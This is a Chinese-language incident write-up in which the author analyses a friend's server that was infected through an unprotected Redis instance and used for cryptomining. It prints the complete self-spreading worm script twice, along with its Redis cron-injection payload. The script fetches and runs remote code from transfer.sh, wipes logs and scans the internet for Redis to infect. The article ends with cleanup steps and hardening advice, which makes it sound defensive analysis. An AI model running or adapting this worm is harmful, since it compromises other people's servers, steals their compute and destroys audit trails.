记一次朋友服务器被黑的分析处理全过程

刚刚一关系不错的朋友在群里求助

向他要了服务器密码后登上去看了眼,发现被挖矿了。。

结束掉这个进程后发现没有死灰复燃,继续查。

接着在root目录下发现了大量的隐藏文件。。

查了下最近登陆和执行过的命令,没发现异常,由于服务器有redis,猜测是redis爆破进来的,跟他核实了下,他竟然没给redis加密码。。。

XFTP连上后显示隐藏文件,发现了几个可疑的脚本,下载回本地后分析

先从文件名最怪的脚本看起

脚本内容如下:

sleep 1find . -maxdepth 1 -name ".mxff0" -type f -mmin +60 -delete[ -f .mxff0 ] && exit 0echo 0 > .mxff0trap "rm -rf .m* .cmd tmp.* .r .dat $0" EXITsetenforce 0 2>/dev/nullecho SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/nullcrontab -r 2>/dev/nullrm -rf /var/spool/cron 2>/dev/nullgrep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.confrm -rf /tmp/* 2>/dev/nullrm -rf /var/tmp/* 2>/dev/nullrm -rf /etc/root.sh 2>/dev/nullsync && echo 3 > /proc/sys/vm/drop_cachescat < /etc/security/limits.conf* hard nofile 100000* soft nofile 100000root hard nofile 100000root soft nofile 100000* hard nproc 100000* soft nproc 100000root hard nproc 100000root soft nproc 100000EOFiptables -I INPUT 1 -p tcp --dport 6379 -j DROPiptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPTps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; donerm -rf /tmp/* 2>/dev/nullrm -rf /var/tmp/* 2>/dev/nullecho 0 > /var/spool/mail/rootecho 0 > /var/log/wtmpecho 0 > /var/log/secureecho 0 > /root/.bash_historyYUM_PACKAGE_NAME="iptables gcc redis coreutils bash curl wget"DEB_PACKAGE_NAME="coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl"if cat /etc/*release | grep -i CentOS; thenyum clean allyum install -y -q epel-releaseyum install -y -q $YUM_PACKAGE_NAMEelif cat /etc/*release | grep -qi Red; thenyum clean allyum install -y -q epel-releaseyum install -y -q $YUM_PACKAGE_NAMEelif cat /etc/*release | grep -qi Fedora; thenyum clean allyum install -y -q epel-releaseyum install -y -q $YUM_PACKAGE_NAMEelif cat /etc/*release | grep -qi Ubuntu; thenexport DEBIAN_FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*apt-get update -q --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; doneelif cat /etc/*release | grep -qi Debian; thenexport DEBIAN_FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*apt-get update --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; doneelif cat /etc/*release | grep -qi Mint; thenexport DEBIAN_FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*apt-get update --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; doneelif cat /etc/*release | grep -qi Knoppix; thenexport DEBIAN_FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*apt-get update --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; doneelseexit 1fisleep 1if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); thencurl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12sleep 1[ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112fitname=$( mktemp )OMURL=https://transfer.sh/ly9S0/tmp.5ErvacTPRmcurl -s $OMURL > $tname || wget -q -O $tname $OMURLNMURL=$( curl -s --upload-file $tname https://transfer.sh )mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg[ -z "$NMURL" ] && NMURL=$OMURLncmd=$(basename $(mktemp))sed 's|'"$OMURL"'|'"$NMURL"'|g' < .cmd > $ncmdNSURL=$( curl -s --upload-file $ncmd https://transfer.sh )echo 'flushall' > .datecho 'config set dir /var/spool/cron' >> .datecho 'config set dbfilename root' >> .datecho 'set Backup1 "\t\n*/2 * * * * curl -s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .datecho 'set Backup2 "\t\n*/5 * * * * wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .datecho 'set Backup3 "\t\n*/10 * * * * lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .datecho 'save' >> .datecho 'config set dir /var/spool/cron/crontabs' >> .datecho 'save' >> .datecho 'exit' >> .datpnx=pnscan[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscanfor x in $( seq 1 224 | sort -R ); dofor y in $( seq 0 255 | sort -R ); do$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.oawk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.lwhile read -r h p; docat .dat | redis-cli -h $h -p $p --raw &done < .r.$x.$y.ldonedoneecho 0 > /var/spool/mail/root 2>/dev/nullecho 0 > /var/log/wtmp 2>/dev/nullecho 0 > /var/log/secure 2>/dev/nullecho 0 > /root/.bash_history 2>/dev/nullexit 0

这个脚本干了这么几件事:

检测是否存在别的挖矿程序,有就结束并删除

设置dns服务器

修改防火墙规则(由于服务器是centos7,该操作并没有执行成功)

结束redis等进程

删除日志(坑爹呢?)

下载安装iptables等软件

下载pnscan(一款可以感染IOT设备的蠕虫)

下载https://transfer.sh/GQCHp/tmp.pZR8v8kihR 并重命名为.gpg然后运行,运行后再删除自身

设置定时任务

用pnscan扫描全网6379端口设备

随后执行了 netstat -antp 查看了网络连接

尝试结束掉pnscan发现会重启进程,推测有进程守护

用命令ps -ef|grep pnscan查看pnscan路径

进入到/usr/local/bin目录后执行ls

发现了这个东西静静的躺在那

让我们用rm -rf pnscan送他最后一程

最后一步清理战场

由于/root目录下有大量的.r.x命名比较规则的文件,直接调用正则删除即可

附几个root目录下的脚本:

.cmd[与tmp.Nm1jfFNPap内容一样]:

sleep 1find . -maxdepth 1 -name ".mxff0" -type f -mmin +60 -delete[ -f .mxff0 ] && exit 0echo 0 > .mxff0trap "rm -rf .m* .cmd tmp.* .r .dat $0" EXITsetenforce 0 2>/dev/nullecho SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/nullcrontab -r 2>/dev/nullrm -rf /var/spool/cron 2>/dev/nullgrep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.confrm -rf /tmp/* 2>/dev/nullrm -rf /var/tmp/* 2>/dev/nullrm -rf /etc/root.sh 2>/dev/nullsync && echo 3 > /proc/sys/vm/drop_cachescat < /etc/security/limits.conf* hard nofile 100000* soft nofile 100000root hard nofile 100000root soft nofile 100000* hard nproc 100000* soft nproc 100000root hard nproc 100000root soft nproc 100000EOFiptables -I INPUT 1 -p tcp --dport 6379 -j DROPiptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPTps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; donerm -rf /tmp/* 2>/dev/nullrm -rf /var/tmp/* 2>/dev/nullecho 0 > /var/spool/mail/rootecho 0 > /var/log/wtmpecho 0 > /var/log/secureecho 0 > /root/.bash_historyYUM_PACKAGE_NAME="iptables gcc redis coreutils bash curl wget"DEB_PACKAGE_NAME="coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl"if cat /etc/*release | grep -i CentOS; thenyum clean allyum install -y -q epel-releaseyum install -y -q $YUM_PACKAGE_NAMEelif cat /etc/*release | grep -qi Red; thenyum clean allyum install -y -q epel-releaseyum install -y -q $YUM_PACKAGE_NAMEelif cat /etc/*release | grep -qi Fedora; thenyum clean allyum install -y -q epel-releaseyum install -y -q $YUM_PACKAGE_NAMEelif cat /etc/*release | grep -qi Ubuntu; thenexport DEBIAN_FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*apt-get update -q --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; doneelif cat /etc/*release | grep -qi Debian; thenexport DEBIAN_FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*apt-get update --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; doneelif cat /etc/*release | grep -qi Mint; thenexport DEBIAN_FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*apt-get update --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; doneelif cat /etc/*release | grep -qi Knoppix; thenexport DEBIAN_FRONTEND=noninteractiverm -rf /var/lib/apt/lists/*apt-get update --fix-missingfor PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; doneelseexit 1fisleep 1if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); thencurl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12sleep 1[ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112fitname=$( mktemp )OMURL=https://transfer.sh/GQCHp/tmp.pZR8v8kihRcurl -s $OMURL > $tname || wget -q -O $tname $OMURLNMURL=$( curl -s --upload-file $tname https://transfer.sh )mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg[ -z "$NMURL" ] && NMURL=$OMURLncmd=$(basename $(mktemp))sed 's|'"$OMURL"'|'"$NMURL"'|g' < .cmd > $ncmdNSURL=$( curl -s --upload-file $ncmd https://transfer.sh )echo 'flushall' > .datecho 'config set dir /var/spool/cron' >> .datecho 'config set dbfilename root' >> .datecho 'set Backup1 "\t\n*/2 * * * * curl -s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .datecho 'set Backup2 "\t\n*/5 * * * * wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .datecho 'set Backup3 "\t\n*/10 * * * * lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .datecho 'save' >> .datecho 'config set dir /var/spool/cron/crontabs' >> .datecho 'save' >> .datecho 'exit' >> .datpnx=pnscan[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscanfor x in $( seq 1 224 | sort -R ); dofor y in $( seq 0 255 | sort -R ); do$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.oawk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.lwhile read -r h p; docat .dat | redis-cli -h $h -p $p --raw &done < .r.$x.$y.ldonedoneecho 0 > /var/spool/mail/root 2>/dev/nullecho 0 > /var/log/wtmp 2>/dev/nullecho 0 > /var/log/secure 2>/dev/nullecho 0 > /root/.bash_history 2>/dev/nullexit 0

.dat[创建定时任务]

flushallconfig set dir /var/spool/cronconfig set dbfilename rootset Backup1 "\t\n*/2 * * * * curl -s https://transfer.sh/ZShKM/tmp.Nm1jfFNPap > .cmd && bash .cmd\n\t"set Backup2 "\t\n*/5 * * * * wget -O .cmd https://transfer.sh/ZShKM/tmp.Nm1jfFNPap && bash .cmd\n\t"set Backup3 "\t\n*/10 * * * * lynx -source https://transfer.sh/ZShKM/tmp.Nm1jfFNPap > .cmd && bash .cmd\n\t"saveconfig set dir /var/spool/cron/crontabssaveexit

加固建议:

不要将Redis暴露在公网

如确实需要,将Redis设置高强度密码并通过白名单限制接入

定期备份、审查服务器日志